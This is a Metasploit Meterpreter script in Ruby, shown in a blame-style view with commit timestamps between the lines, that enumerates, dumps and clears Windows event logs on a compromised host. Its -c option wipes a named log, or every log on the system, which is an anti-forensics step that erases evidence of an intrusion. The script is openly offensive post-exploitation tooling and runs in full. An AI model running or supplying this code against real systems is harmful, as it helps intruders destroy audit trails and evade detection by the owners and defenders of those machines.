2010-10-25 02:26:59 +00:00
|
|
|
# $Id$
|
|
|
|
# $Revision$
|
|
|
|
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
################## Variable Declarations ##################
|
|
|
|
@client = client
|
2010-10-26 02:30:08 +00:00
|
|
|
eventlog_name = nil
|
|
|
|
print_logs = false
|
|
|
|
list_logs = false
|
|
|
|
clear_logs = false
|
|
|
|
local_log = false
|
|
|
|
local_log_path = nil
|
|
|
|
supress_print = false
|
2010-10-25 02:26:59 +00:00
|
|
|
filter = '\d*'
|
2010-10-26 02:30:08 +00:00
|
|
|
filter_string = "*"
|
2010-10-25 02:26:59 +00:00
|
|
|
meter_type = client.platform
|
|
|
|
opts = Rex::Parser::Arguments.new(
|
2010-10-26 02:30:08 +00:00
|
|
|
"-h" => [ false, "Help menu" ],
|
|
|
|
"-i" => [ false, "Show information about Event Logs on the System and their configuration"],
|
2010-11-03 04:40:44 +00:00
|
|
|
"-l" => [ true, "List a given Event Log."],
|
2010-10-26 02:30:08 +00:00
|
|
|
"-c" => [ true, "Clear a given Event Log (or ALL if no argument specified)"],
|
|
|
|
"-f" => [ true, "Event ID to filter events on"],
|
|
|
|
"-s" => [ true, "Save logs to local CSV file, optionally specify alternate folder in which to save logs"],
|
|
|
|
"-p" => [ false, "Supress printing filtered logs to screen"]
|
2010-10-25 02:26:59 +00:00
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
################## Function Declarations ##################
|
|
|
|
|
|
|
|
# Usage Message Function
|
|
|
|
#-------------------------------------------------------------------------------
|
2010-10-26 02:30:08 +00:00
|
|
|
def usage(opts)
|
2010-10-25 02:26:59 +00:00
|
|
|
print_line "Meterpreter Script for Windows Event Log Query and Clear."
|
|
|
|
print_line(opts.usage)
|
|
|
|
raise Rex::Script::Completed
|
|
|
|
end
|
|
|
|
|
|
|
|
# Wrong Meterpreter Version Message Function
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
def wrong_meter_version(meter = meter_type)
|
2010-10-26 02:30:08 +00:00
|
|
|
print_error("#{meter} version of Meterpreter is not supported with this script!")
|
2010-10-25 02:26:59 +00:00
|
|
|
raise Rex::Script::Completed
|
|
|
|
end
|
|
|
|
|
|
|
|
# Function for Enumerating EventLogs
|
|
|
|
#-------------------------------------------------------------------------------
|
2010-10-26 02:30:08 +00:00
|
|
|
def get_log_details
|
|
|
|
logs_detail = Array.new
|
|
|
|
|
|
|
|
eventlog_list.each do |log_name|
|
|
|
|
|
|
|
|
# Create a hash to store the log info in (and throw default info in)
|
|
|
|
log_detail = Hash.new
|
|
|
|
log_detail[:name] = log_name
|
|
|
|
log_detail[:retention] = "Disabled"
|
|
|
|
log_detail[:size] = 0
|
|
|
|
log_detail[:number_of_records] = 0
|
|
|
|
|
|
|
|
key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\"
|
|
|
|
if @client.sys.config.sysinfo['OS'] =~ /Windows 2003|.Net|XP|2000/
|
|
|
|
key = "#{key}Eventlog"
|
|
|
|
else
|
|
|
|
key = "#{key}eventlog"
|
|
|
|
end
|
|
|
|
|
|
|
|
begin
|
|
|
|
unless (registry_getvaldata("#{key}\\#{log_name}","Retention") == 0) then log_detail[:retention] = "Disabled" end
|
|
|
|
log_detail[:size] = registry_getvaldata("#{key}\\#{log_name}","MaxSize")
|
|
|
|
|
|
|
|
# Open the event log
|
|
|
|
eventlog = @client.sys.eventlog.open(log_name)
|
|
|
|
log_detail[:num_of_records] = eventlog.length
|
|
|
|
rescue
|
|
|
|
log_detail[:num_of_records] = "Access Denied"
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
logs_detail << log_detail
|
|
|
|
end
|
|
|
|
|
|
|
|
return logs_detail
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
# Function for Printing Event Log Details
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
def print_log_details
|
2010-10-25 02:26:59 +00:00
|
|
|
print_status("Retriving Event Log Configuration")
|
|
|
|
tbl = Rex::Ui::Text::Table.new(
|
|
|
|
'Header' => "Event Logs on System",
|
|
|
|
'Indent' => 1,
|
|
|
|
'Columns' =>
|
|
|
|
[
|
|
|
|
"Name",
|
|
|
|
"Retention",
|
2010-10-26 02:30:08 +00:00
|
|
|
"Maximum Size",
|
2010-10-25 02:26:59 +00:00
|
|
|
"Records"
|
|
|
|
])
|
2010-10-26 02:30:08 +00:00
|
|
|
|
|
|
|
eventlog_details = get_log_details
|
2010-10-25 02:26:59 +00:00
|
|
|
|
2010-10-26 02:30:08 +00:00
|
|
|
eventlog_details.each do |log_detail|
|
|
|
|
tbl << [log_detail[:name],log_detail[:retention],"#{log_detail[:size]}K",log_detail[:num_of_records]]
|
2010-10-25 02:26:59 +00:00
|
|
|
end
|
2010-10-26 02:30:08 +00:00
|
|
|
|
2010-10-25 02:26:59 +00:00
|
|
|
print_line("\n" + tbl.to_s + "\n")
|
|
|
|
end
|
|
|
|
|
2010-10-26 02:30:08 +00:00
|
|
|
|
2010-10-25 02:26:59 +00:00
|
|
|
# Function for doings queries of EventLogs
|
|
|
|
#-------------------------------------------------------------------------------
|
2010-10-26 02:30:08 +00:00
|
|
|
def list_logs(eventlog_name,filter,filter_string,logs,local_log,sup_print)
|
2010-10-25 02:26:59 +00:00
|
|
|
begin
|
|
|
|
event_data = ""
|
|
|
|
csv_data = "EventID,Date,Data\n"
|
2010-10-26 02:30:08 +00:00
|
|
|
log = @client.sys.eventlog.open(eventlog_name)
|
2010-10-25 02:26:59 +00:00
|
|
|
log.each_backwards do |e|
|
|
|
|
if e.eventid.to_s =~ /#{filter}/
|
|
|
|
if not sup_print
|
|
|
|
print_status("EventID: #{e.eventid}")
|
|
|
|
print_status("Date: #{e.generated}")
|
|
|
|
print_status("Data:")
|
|
|
|
e.strings.each do |l|
|
|
|
|
l.split("\r\n").each do |ml|
|
|
|
|
print_status("\t#{ml.chomp}")
|
|
|
|
event_data << " #{ml.chomp}"
|
|
|
|
end
|
|
|
|
end
|
|
|
|
print_status
|
|
|
|
end
|
2010-10-26 02:30:08 +00:00
|
|
|
csv_data << "#{e.eventid},#{e.generated},\"#{event_data}\"\n"
|
|
|
|
event_data = ""
|
2010-10-25 02:26:59 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
rescue
|
2010-10-26 02:30:08 +00:00
|
|
|
print_error("Failed to Open Event Log #{eventlog_name}")
|
2010-10-25 02:26:59 +00:00
|
|
|
raise Rex::Script::Completed
|
|
|
|
end
|
2010-10-26 02:30:08 +00:00
|
|
|
|
|
|
|
if local_log
|
|
|
|
log_file = File.join(logs, "#{eventlog_name}.csv")
|
|
|
|
print_good("CSV File saved to #{log_file}")
|
|
|
|
file_local_write(log_file,csv_data)
|
|
|
|
end
|
2010-10-25 02:26:59 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# Function for clearing EventLogs
|
|
|
|
#-------------------------------------------------------------------------------
|
2010-10-26 02:30:08 +00:00
|
|
|
def clear_logs(log_name=nil)
|
|
|
|
log_names = []
|
|
|
|
if log_name.nil?
|
|
|
|
log_names = eventlog_list
|
2010-10-25 02:26:59 +00:00
|
|
|
else
|
2010-10-26 02:30:08 +00:00
|
|
|
log_names << log_name
|
2010-10-25 02:26:59 +00:00
|
|
|
end
|
2010-10-26 02:30:08 +00:00
|
|
|
|
|
|
|
log_names.each do |name|
|
2010-10-25 02:26:59 +00:00
|
|
|
begin
|
2010-10-26 02:30:08 +00:00
|
|
|
print_status("Clearing #{name}")
|
|
|
|
event_log = @client.sys.eventlog.open(name)
|
|
|
|
event_log.clear
|
|
|
|
print_status("Event Log #{name} Cleared!")
|
2010-10-25 02:26:59 +00:00
|
|
|
rescue
|
2010-10-26 02:30:08 +00:00
|
|
|
print_error("Failed to Clear #{name}, Access Denied")
|
2010-10-25 02:26:59 +00:00
|
|
|
end
|
|
|
|
end
|
2010-10-26 02:30:08 +00:00
|
|
|
|
|
|
|
return log_names
|
2010-10-25 02:26:59 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
################## Main ##################
|
|
|
|
opts.parse(args) { |opt, idx, val|
|
|
|
|
case opt
|
2010-10-26 02:30:08 +00:00
|
|
|
when "-h"
|
|
|
|
usage(opts)
|
|
|
|
when "-i"
|
|
|
|
print_logs = true
|
|
|
|
print_log_details
|
2010-10-25 02:26:59 +00:00
|
|
|
raise Rex::Script::Completed
|
2010-10-26 02:30:08 +00:00
|
|
|
when "-c"
|
|
|
|
clear_logs = true
|
|
|
|
eventlog_name = val
|
|
|
|
when "-l"
|
|
|
|
list_logs = true
|
|
|
|
eventlog_name = val
|
|
|
|
when "-f"
|
|
|
|
filter = val
|
|
|
|
when "-s"
|
|
|
|
local_log = true
|
|
|
|
if File.directory?(val)
|
|
|
|
local_log_path = val
|
|
|
|
else
|
|
|
|
print_error("Log folder #{val} does not exist!")
|
|
|
|
raise Rex::Script::Completed
|
|
|
|
end
|
|
|
|
when "-p"
|
|
|
|
supress_print = true
|
2010-10-25 02:26:59 +00:00
|
|
|
end
|
|
|
|
}
|
|
|
|
|
|
|
|
# Check for Version of Meterpreter
|
|
|
|
wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i
|
|
|
|
|
2010-10-26 02:30:08 +00:00
|
|
|
# Print usage & exit if the user didn't specify an action
|
|
|
|
# to default to just running for all logs)
|
|
|
|
if !list_logs and !clear_logs and !print_logs
|
|
|
|
usage(opts)
|
|
|
|
end
|
2010-10-25 02:26:59 +00:00
|
|
|
|
2010-10-26 02:30:08 +00:00
|
|
|
# Log Folder Creation
|
|
|
|
#-----------------------------------------------------------------------
|
|
|
|
#Get Hostname
|
|
|
|
host = @client.sys.config.sysinfo["Computer"]
|
2010-10-25 02:26:59 +00:00
|
|
|
|
2010-10-26 02:30:08 +00:00
|
|
|
# Create Filename info to be appended to downloaded files
|
|
|
|
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
2010-10-25 02:26:59 +00:00
|
|
|
|
2010-10-26 02:30:08 +00:00
|
|
|
# Create a directory for any local logging if the user desires
|
|
|
|
if local_log
|
|
|
|
if local_log_path
|
2011-01-25 02:24:37 +00:00
|
|
|
logs = ::File.join(local_log_path, Rex::FileUtils.clean_path(host + filenameinfo) )
|
2010-10-25 02:26:59 +00:00
|
|
|
else
|
2011-01-25 02:24:37 +00:00
|
|
|
logs = ::File.join(Msf::Config.log_directory, "scripts", 'event_manager', Rex::FileUtils.clean_path(host + filenameinfo) )
|
2010-10-25 02:26:59 +00:00
|
|
|
end
|
2010-10-26 02:30:08 +00:00
|
|
|
|
2010-10-25 02:26:59 +00:00
|
|
|
::FileUtils.mkdir_p(logs)
|
2010-10-26 02:30:08 +00:00
|
|
|
end
|
2010-10-25 02:26:59 +00:00
|
|
|
|
2010-10-26 02:30:08 +00:00
|
|
|
# List the logs if the user desires
|
2010-11-03 04:40:44 +00:00
|
|
|
if list_logs and eventlog_name
|
|
|
|
list_logs(eventlog_name,filter,filter_string,logs,local_log,supress_print)
|
|
|
|
else
|
|
|
|
print_error("You must specify and eventlog to query!")
|
2010-10-26 02:30:08 +00:00
|
|
|
end
|
|
|
|
|
2010-11-03 04:40:44 +00:00
|
|
|
|
2010-10-26 02:30:08 +00:00
|
|
|
# Finally, clear the specified logs if the user desires
|
|
|
|
if clear_logs
|
|
|
|
if eventlog_name
|
|
|
|
clear_logs(eventlog_name)
|
|
|
|
else
|
2010-11-03 04:40:44 +00:00
|
|
|
eventlog_list.each do |eventlog_name|
|
2010-10-26 02:30:08 +00:00
|
|
|
print_status eventlog_name + ": "
|
|
|
|
clear_logs(eventlog_name)
|
2010-11-03 04:40:44 +00:00
|
|
|
end
|
2010-10-26 02:30:08 +00:00
|
|
|
end
|
2010-10-25 02:26:59 +00:00
|
|
|
end
|